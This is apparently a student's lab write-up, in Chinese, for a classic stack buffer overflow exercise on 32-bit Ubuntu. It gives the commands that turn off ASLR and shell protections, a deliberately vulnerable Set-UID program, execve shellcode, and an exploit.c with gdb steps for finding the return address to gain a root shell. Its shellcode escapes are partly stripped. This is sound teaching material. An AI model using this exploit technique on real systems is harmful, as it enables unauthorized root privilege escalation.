实验环境：Ubuntu20.04 32位
实验机：Ubuntu20.04 64位
1 初始设置
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Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。可以使用
sudo sysctl -w kernel.randomize_va_space=0，执行结果如下：
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此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash 中实现。linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。可以使用如下指令配置zsh（实验系统未安装zsh，如安装可跳过第一条命令）：
sudo apt install zsh sudo su cd /bin rm sh ln -s zsh sh exit -
输入命令linux32进入32位linux环境。
2 shellcode
一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。以下为shellcodeC语言版本。
#include <stdio.h>
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
通常使用的是汇编后的shellcode，如下：
x31xc0x50x68"//sh"x68"/bin"x89xe3x50x53x89xe1x99xb0x0bxcdx80
3 漏洞程序
漏洞程序代码如下：
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly
");
return 1;
}
通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。
编译该程序，并设置 SET-UID。命令如下：
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
执行第一条命令，出现报错
提示缺少相应头文件，使用sudo apt-get install gcc-multilib下载对应依赖。
再次执行命令，执行成功。
GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。
-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。
4 攻击程序
我们的目的是攻击刚才的漏洞程序，并通过攻击获得 root 权限。在当前目录下新建一个 exploit.c 文件，文件内容如下：
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"x31xc0" //xorl %eax,%eax
"x50" //pushl %eax
"x68""//sh" //pushl $0x68732f2f
"x68""/bin" //pushl $0x6e69622f
"x89xe3" //movl %esp,%ebx
"x50" //pushl %eax
"x53" //pushl %ebx
"x89xe1" //movl %esp,%ecx
"x99" //cdq
"xb0x0b" //movb $0x0b,%al
"xcdx80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer，偏移量设为了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的代码，x??x??x??x?? 处需要添上shellcode保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。下面将详细介绍如何获得需要添加的地址。
首先使用gdb staack命令进入gdb调试，先run，再使用disass main命令
重点看
esp 中就是 str 的起始地址，所以我们在地址 0x56556279处设置断点
地址可能不一致，请根据你的显示结果自行修改。
接下来的操作：
b *0x56556279
r
i r $esp
最后获得的这个 0xffffcf30 就是 str 的地址。
按q键，再按y退出调试
根据语句strcpy(buffer + 100,shellcode); 我们计算shellcode的地址为0xffffcf30 + 0x64 = 0xffffcf94
现在修改exploit.c文件，将 x??x??x??x?? 修改为计算的结果 x94xcfxffxff，注意顺序是反的。
然后编译exploit.c程序：gcc -m32 -o exploit exploit.c
执行以下命令
./exploit
./stack
运行结果如下：
5 拓展实验
5.1 打开地址空间随机化机制
过命令sudo sysctl -w kernel.randomize_va_space=2打开系统的地址空间随机化机制，结果显然不能进行root。
关闭地址空间随机化机制后，再次执行就能root了。
5.2 将/bin/sh重新指向/bin/bash
使用一下命令将/bin/sh重新指向/bin/bash
sudo su
cd /bin
rm sh
ln -s bash sh
exit
运行结果如下
进入linux32，再次运行stack，无法root，显示为段错误
再次切换为zsh，运行stack，结果如下：
6 实验总结
本次实验参考实验楼-缓冲区溢出实验
需要指出该参考资料存在一处问题：
在进入gdb调试后直接进行反汇编，得到的结果如下图：
实际上，这种做法是错误的。应当按照本文中的做法，先run，再disass main，具体原因如下：
在没有用gdb运行（run）过可执行程序之前，使用disass指令反汇编出来的汇编语言的左边的地址偏移地址，不是逻辑地址。
所以这样做最后是无法通过缓冲区溢出得到root权限的，我在做的时候踩了这个坑。